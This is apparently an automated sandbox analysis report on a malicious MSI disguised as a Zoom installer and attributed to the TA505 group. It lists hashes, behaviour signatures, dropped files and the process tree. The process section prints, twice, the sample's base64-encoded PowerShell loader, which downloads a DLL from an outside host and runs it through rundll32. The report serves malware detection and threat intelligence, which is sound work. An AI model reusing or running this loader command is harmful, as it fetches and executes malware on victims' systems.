Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
145s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
23/01/2023, 06:51
Static task
static1
Behavioral task
behavioral1
Sample
ZoomSetup_26b30163.msi
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
ZoomSetup_26b30163.msi
Resource
win10v2004-20220812-en
General
-
Target
ZoomSetup_26b30163.msi
-
Size
11.0MB
-
MD5
c4e9e9a06001c6197de2ea2fec3d2214
-
SHA1
369006350f6b4c43c7f51a90deb5e73a20156b55
-
SHA256
e4edb4cc8f35c7bab6e89774a279593d492714fce9865e53879f87d3704ad96c
-
SHA512
00008fd26c3047afbbc73fc19d20700861e9501b1c9509b7abcfd218a814a2b0aa24fa934338942aee809ca53240b539e77f6d91013cae0eee076282e4047156
-
SSDEEP
196608:6e9dQDU9N3glGcBo/6xDD7yLEY2sNd0nOn1q1eUD9p8b3lWG7uCMkCA:N8g91gGcBD7yLfmz1rGYG6CMi
Malware Config
Signatures
-
TA505
Cybercrime group active since 2015, responsible for families like Dridex and Locky.
-
Blocklisted process makes network request 1 IoCs
flow pid Process 9 2128 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 4896 MSI7EC0.tmp -
Loads dropped DLL 5 IoCs
pid Process 1468 MsiExec.exe 1468 MsiExec.exe 1468 MsiExec.exe 1468 MsiExec.exe 1468 MsiExec.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\R: msiexec.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Drops file in Windows directory 13 IoCs
description ioc Process File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{853FDFB3-3FDA-4BE8-93BC-8C6F2CE14283} msiexec.exe File opened for modification C:\Windows\Installer\MSI7E52.tmp msiexec.exe File opened for modification C:\Windows\Installer\e56713d.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI72A4.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI7536.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI7BCF.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI7CBA.tmp msiexec.exe File created C:\Windows\Installer\e56713d.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSI7621.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI7EC0.tmp msiexec.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3440 msiexec.exe 3440 msiexec.exe 2128 powershell.exe 2128 powershell.exe -
Suspicious use of AdjustPrivilegeToken 53 IoCs
description pid Process Token: SeShutdownPrivilege 4656 msiexec.exe Token: SeIncreaseQuotaPrivilege 4656 msiexec.exe Token: SeSecurityPrivilege 3440 msiexec.exe Token: SeCreateTokenPrivilege 4656 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4656 msiexec.exe Token: SeLockMemoryPrivilege 4656 msiexec.exe Token: SeIncreaseQuotaPrivilege 4656 msiexec.exe Token: SeMachineAccountPrivilege 4656 msiexec.exe Token: SeTcbPrivilege 4656 msiexec.exe Token: SeSecurityPrivilege 4656 msiexec.exe Token: SeTakeOwnershipPrivilege 4656 msiexec.exe Token: SeLoadDriverPrivilege 4656 msiexec.exe Token: SeSystemProfilePrivilege 4656 msiexec.exe Token: SeSystemtimePrivilege 4656 msiexec.exe Token: SeProfSingleProcessPrivilege 4656 msiexec.exe Token: SeIncBasePriorityPrivilege 4656 msiexec.exe Token: SeCreatePagefilePrivilege 4656 msiexec.exe Token: SeCreatePermanentPrivilege 4656 msiexec.exe Token: SeBackupPrivilege 4656 msiexec.exe Token: SeRestorePrivilege 4656 msiexec.exe Token: SeShutdownPrivilege 4656 msiexec.exe Token: SeDebugPrivilege 4656 msiexec.exe Token: SeAuditPrivilege 4656 msiexec.exe Token: SeSystemEnvironmentPrivilege 4656 msiexec.exe Token: SeChangeNotifyPrivilege 4656 msiexec.exe Token: SeRemoteShutdownPrivilege 4656 msiexec.exe Token: SeUndockPrivilege 4656 msiexec.exe Token: SeSyncAgentPrivilege 4656 msiexec.exe Token: SeEnableDelegationPrivilege 4656 msiexec.exe Token: SeManageVolumePrivilege 4656 msiexec.exe Token: SeImpersonatePrivilege 4656 msiexec.exe Token: SeCreateGlobalPrivilege 4656 msiexec.exe Token: SeRestorePrivilege 3440 msiexec.exe Token: SeTakeOwnershipPrivilege 3440 msiexec.exe Token: SeRestorePrivilege 3440 msiexec.exe Token: SeTakeOwnershipPrivilege 3440 msiexec.exe Token: SeRestorePrivilege 3440 msiexec.exe Token: SeTakeOwnershipPrivilege 3440 msiexec.exe Token: SeRestorePrivilege 3440 msiexec.exe Token: SeTakeOwnershipPrivilege 3440 msiexec.exe Token: SeRestorePrivilege 3440 msiexec.exe Token: SeTakeOwnershipPrivilege 3440 msiexec.exe Token: SeRestorePrivilege 3440 msiexec.exe Token: SeTakeOwnershipPrivilege 3440 msiexec.exe Token: SeRestorePrivilege 3440 msiexec.exe Token: SeTakeOwnershipPrivilege 3440 msiexec.exe Token: SeRestorePrivilege 3440 msiexec.exe Token: SeTakeOwnershipPrivilege 3440 msiexec.exe Token: SeRestorePrivilege 3440 msiexec.exe Token: SeTakeOwnershipPrivilege 3440 msiexec.exe Token: SeRestorePrivilege 3440 msiexec.exe Token: SeTakeOwnershipPrivilege 3440 msiexec.exe Token: SeDebugPrivilege 2128 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 4656 msiexec.exe 4656 msiexec.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 3440 wrote to memory of 1468 3440 msiexec.exe 82 PID 3440 wrote to memory of 1468 3440 msiexec.exe 82 PID 3440 wrote to memory of 1468 3440 msiexec.exe 82 PID 3440 wrote to memory of 4896 3440 msiexec.exe 83 PID 3440 wrote to memory of 4896 3440 msiexec.exe 83 PID 2128 wrote to memory of 392 2128 powershell.exe 86 PID 2128 wrote to memory of 392 2128 powershell.exe 86
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ZoomSetup_26b30163.msi1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4656
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3440 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 91BEE4223E99959C35A028563286B76F2⤵
- Loads dropped DLL
PID:1468
-
-
C:\Windows\Installer\MSI7EC0.tmp"C:\Windows\Installer\MSI7EC0.tmp" /DontWait /HideWindow powershell.exe -Exec Bypass -enc JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAEwAaQB0AGUAcwBvAGYAdABcAEkAbgBzAHQAYQBsAGwAIgApAC4AUABhAHQAaAAgAC0AbABlAGEAZgA7AA0ACgAkAGQAaQByACAAPQAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAOwANAAoAJABmAG4AIAA9ACAAJABkAGkAcgAgACsAIAAiAFwAIgAgACsAIAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQAuAFQAbwBTAHQAcgBpAG4AZwAoACIAeAA4ACIAKQAgACsAIAAiAC4AZABhAHQAIgANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAGQAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC0AYwBkAG4ALgBjAG8AbQAiADsADQAKACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGQAIAArACAAIgAvAGQAbwB3AG4AbABvAGEAZAAuAHAAaABwAD8AZgA9AEwAZAByAHAALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArACAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA==2⤵
- Executes dropped EXE
PID:4896
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Exec Bypass -enc JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAEwAaQB0AGUAcwBvAGYAdABcAEkAbgBzAHQAYQBsAGwAIgApAC4AUABhAHQAaAAgAC0AbABlAGEAZgA7AA0ACgAkAGQAaQByACAAPQAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAOwANAAoAJABmAG4AIAA9ACAAJABkAGkAcgAgACsAIAAiAFwAIgAgACsAIAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQAuAFQAbwBTAHQAcgBpAG4AZwAoACIAeAA4ACIAKQAgACsAIAAiAC4AZABhAHQAIgANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAGQAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC0AYwBkAG4ALgBjAG8AbQAiADsADQAKACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGQAIAArACAAIgAvAGQAbwB3AG4AbABvAGEAZAAuAHAAaABwAD8AZgA9AEwAZAByAHAALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArACAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA==1⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2128 -
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" "C:\ProgramData\615ad6fd.dat",DllRegisterServer2⤵PID:392
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
550KB
MD5bda991d64e27606ac1d3abb659a0b33b
SHA1a87ee1430f86effa5488ae654704c40aca3424c6
SHA256ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
SHA51294fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f
-
Filesize
550KB
MD5bda991d64e27606ac1d3abb659a0b33b
SHA1a87ee1430f86effa5488ae654704c40aca3424c6
SHA256ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
SHA51294fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f
-
Filesize
550KB
MD5bda991d64e27606ac1d3abb659a0b33b
SHA1a87ee1430f86effa5488ae654704c40aca3424c6
SHA256ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
SHA51294fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f
-
Filesize
550KB
MD5bda991d64e27606ac1d3abb659a0b33b
SHA1a87ee1430f86effa5488ae654704c40aca3424c6
SHA256ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
SHA51294fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f
-
Filesize
550KB
MD5bda991d64e27606ac1d3abb659a0b33b
SHA1a87ee1430f86effa5488ae654704c40aca3424c6
SHA256ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
SHA51294fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f
-
Filesize
550KB
MD5bda991d64e27606ac1d3abb659a0b33b
SHA1a87ee1430f86effa5488ae654704c40aca3424c6
SHA256ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
SHA51294fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f
-
Filesize
927KB
MD5b27a994e40bee85c14d3227ea91696a9
SHA1609a959b0f47865803e2c45a8bc4390f1d08b57a
SHA256ebf432e9b8068e139e85e2c26a1d67238b3c6071158cd43f4926029ba187c190
SHA51266b2cfa6b7c3cf793f478bc69e084e4ea008dab4101eaf8ce3143291d94dbcebedccd29c309d56185261fdbcccd30697cd898bf8ce8e1f9dcdf12fc2037d1542
-
Filesize
927KB
MD5b27a994e40bee85c14d3227ea91696a9
SHA1609a959b0f47865803e2c45a8bc4390f1d08b57a
SHA256ebf432e9b8068e139e85e2c26a1d67238b3c6071158cd43f4926029ba187c190
SHA51266b2cfa6b7c3cf793f478bc69e084e4ea008dab4101eaf8ce3143291d94dbcebedccd29c309d56185261fdbcccd30697cd898bf8ce8e1f9dcdf12fc2037d1542
-
Filesize
550KB
MD5bda991d64e27606ac1d3abb659a0b33b
SHA1a87ee1430f86effa5488ae654704c40aca3424c6
SHA256ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
SHA51294fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f
-
Filesize
550KB
MD5bda991d64e27606ac1d3abb659a0b33b
SHA1a87ee1430f86effa5488ae654704c40aca3424c6
SHA256ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
SHA51294fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f
-
Filesize
549KB
MD56aac525cfcdd6d3978c451bba2bb9cb3
SHA1417a1c4312bdaadf832acf153c423906365fb027
SHA2569dbaf4e4632e70652ff72bb7890c35e3b9cd7a6939b29b5eeec0c636d098c64e
SHA5123c39487dbfdb6ee84cc5eddd5e8e9d1610ffb9fe55913e47f126b47d6fd5bc04b691a9bb765963d998b3db92d87192a4a91807bbe7559bfc4804a7c2beb32f42